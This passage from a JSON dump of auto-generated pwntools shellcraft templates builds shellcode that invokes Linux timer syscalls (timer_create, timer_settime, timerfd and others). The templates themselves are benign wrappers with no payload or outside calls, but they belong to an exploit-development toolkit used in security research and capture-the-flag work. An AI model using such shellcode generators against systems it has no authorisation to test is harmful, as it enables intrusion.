len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_rt_tgsigqueueinfo']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_rt_tgsigqueueinfo'])\n%>\n    /* tgsigqueueinfo(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/time.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>time(timer) -> str\n\nInvokes the syscall time.\n\nSee 'man 2 time' for more information.\n\nArguments:\n    timer(time_t*): timer\nReturns:\n    time_t\n</%docstring>\n<%page args=\"timer=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['timer']\n    argument_values = [timer]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_time']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_time'])\n%>\n    /* time(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timer_create.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timer_create(clock_id, evp, timerid) -> str\n\nInvokes the syscall timer_create.\n\nSee 'man 2 timer_create' for more information.\n\nArguments:\n    clock_id(clockid_t): clock_id\n    evp(sigevent*): evp\n    timerid(timer_t*): timerid\nReturns:\n    int\n</%docstring>\n<%page args=\"clock_id=0, evp=0, timerid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['clock_id', 'evp', 'timerid']\n    argument_values = [clock_id, evp, timerid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timer_create']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timer_create'])\n%>\n    /* timer_create(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timer_delete.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timer_delete(timerid) -> str\n\nInvokes the syscall timer_delete.\n\nSee 'man 2 timer_delete' for more information.\n\nArguments:\n    timerid(timer_t): timerid\nReturns:\n    int\n</%docstring>\n<%page args=\"timerid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['timerid']\n    argument_values = [timerid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timer_delete']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timer_delete'])\n%>\n    /* timer_delete(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timer_getoverrun.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timer_getoverrun(timerid) -> str\n\nInvokes the syscall timer_getoverrun.\n\nSee 'man 2 timer_getoverrun' for more information.\n\nArguments:\n    timerid(timer_t): timerid\nReturns:\n    int\n</%docstring>\n<%page args=\"timerid=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['timerid']\n    argument_values = [timerid]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timer_getoverrun']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timer_getoverrun'])\n%>\n    /* timer_getoverrun(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timer_gettime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timer_gettime(timerid, value) -> str\n\nInvokes the syscall timer_gettime.\n\nSee 'man 2 timer_gettime' for more information.\n\nArguments:\n    timerid(timer_t): timerid\n    value(itimerspec*): value\nReturns:\n    int\n</%docstring>\n<%page args=\"timerid=0, value=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['timerid', 'value']\n    argument_values = [timerid, value]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timer_gettime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timer_gettime'])\n%>\n    /* timer_gettime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timer_gettime64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timer_gettime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall timer_gettime64.\n\nSee 'man 2 timer_gettime64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timer_gettime64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timer_gettime64'])\n%>\n    /* timer_gettime64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timer_settime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timer_settime(timerid, flags, value, ovalue) -> str\n\nInvokes the syscall timer_settime.\n\nSee 'man 2 timer_settime' for more information.\n\nArguments:\n    timerid(timer_t): timerid\n    flags(int): flags\n    value(itimerspec*): value\n    ovalue(itimerspec*): ovalue\nReturns:\n    int\n</%docstring>\n<%page args=\"timerid=0, flags=0, value=0, ovalue=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['timerid', 'flags', 'value', 'ovalue']\n    argument_values = [timerid, flags, value, ovalue]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timer_settime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timer_settime'])\n%>\n    /* timer_settime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timer_settime64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timer_settime64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall timer_settime64.\n\nSee 'man 2 timer_settime64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timer_settime64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_timer_settime64'])\n%>\n    /* timer_settime64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/timerfd.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>timerfd(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall timerfd.\n\nSee 'man 2 timerfd' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_timerfd']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % 